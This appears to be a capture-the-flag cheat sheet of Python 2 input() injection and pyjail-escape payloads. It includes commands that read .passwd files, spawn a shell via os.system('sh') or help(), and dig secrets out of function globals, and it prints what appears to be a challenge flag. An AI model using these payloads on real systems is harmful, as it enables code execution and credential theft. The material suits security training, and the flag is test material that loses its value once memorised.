Python

Input() exploitation

# In Python2, input function is vulnerable
# input(x) = eval(raw_input(x))
# Means that user inputs will be executed

# You can exec code 
Please enter password : sys.stdout.write(open(".passwd").readline())  
13373439872909134298363103573901

# Another
Please enter password : __import__('os').system('cat /challenge/shell/shell6/.passwd > /tmp/flag')
cat /tmp/flag

# Another
Please enter password : __import__('shutil').copyfile('/challenge/shell/shell6/.passwd', '/tmp/flag2')

# You can even get a shell
Please enter password : __import__('os').system('sh')

# Another
Please enter password : input(open(".passwd").readline())

# Another 
Please enter password : __builtins__.__dict__['print'](__builtins__.__dict__['open']('.passwd', 'r').read())


Pyjail - Only print and no quotes

# Exploration
exit / exit() / exit(1) / exit('a')
# Try to assign variable, use import
 
# Only exit is interesting
# You can brutefore argument or try to get information about the code
 
# You can try locally
def test( flag_input ):
   if flag_input == 12345:
        print "Success!"
   else:
        print "Failure !"
   return 1
print dir(test)

['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__',
'__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__',
'__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code',
'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

# So you can use it like this
print exit.func_code

# Same code again.. And..
print exit.func_code.co_consts

# You can see the interesting variable and use it like this
exit(exit.func_code.co_consts[1])


Pyjail - No dots, quotes and some restricted functions

# dir() is doing a return. You can see it if it's executed in the same environment
# When it goes through an eval(), the return remains in this environment, so you need to print it
print dir()
print dir(getout)
print dir(getout)[29]

# No dots, but you can access the __globals___ object using getattr()
# dir() will give you the others objects accessible
print dir(getattr(getout, dir(getout)[11]))

# getattr() in that case will give you the content of that __globals__
print getattr(getout, dir(getout)[11])

# Then, if there is a dictionnary you can access keys and values, in a loop for example
Keys -- for k in getattr(getout, dir(getout)[11]):print k 
Values -- for k in getattr(getout, dir(getout)[11]):print getattr(getout, dir(getout)[11])[k] 
Flag  -- for k in getattr(getout, dir(getout)[11]):getout(getattr(getout, dir(getout)[11])[k])

# You can also use values()
print dir(dict)[42]
print getattr(getattr(getout, dir(getout)[29]),dir(dict)[42])
print getattr(getattr(getout, dir(getout)[29]),dir(dict)[42])()
print getattr(getattr(getout, dir(getout)[29]),dir(dict)[42])()[7]
getout(getattr(getattr(getout, dir(getout)[29]),dir(dict)[42])()[7])


# You can transform dictionary to list and then just access it
print(list(getattr(getout, dir(getout)[-2])))
print(getattr(getout, dir(getout)[-2])[list(getattr(getout, dir(getout)[-2]))[7]])
getout(getattr(getout, dir(getout)[-2])[list(getattr(getout, dir(getout)[-2]))[7]])


# You can also change the password value to avoid string restrictions
getattr(getout,dir(getout)[11])[list(getattr(getout,dir(getout)[11]))[7]]=1234
print getattr(getout,dir(getout)[11])[list(getattr(getout,dir(getout)[11]))[7]]
getout(1234)


# You can recreate dot using bytes
bytes(round(1/3))[1])
# And then use the "command" function to grab “passw” and “d” to get the correct string back
bytes(command[-7:-2] + command[-1])
(bytes(round(1/3))[1] + command[-7:-2] + command[-1])
print(next(open(bytes(round(1/3))[1] + command[-7:-2] + command[-1])))


Pyjail - Generate a shell

# Trough help and a w3m console
help()
help> modules
help> antigravity
@  /bin/sh
/bin/sh 1>&2
reset
cat .passwd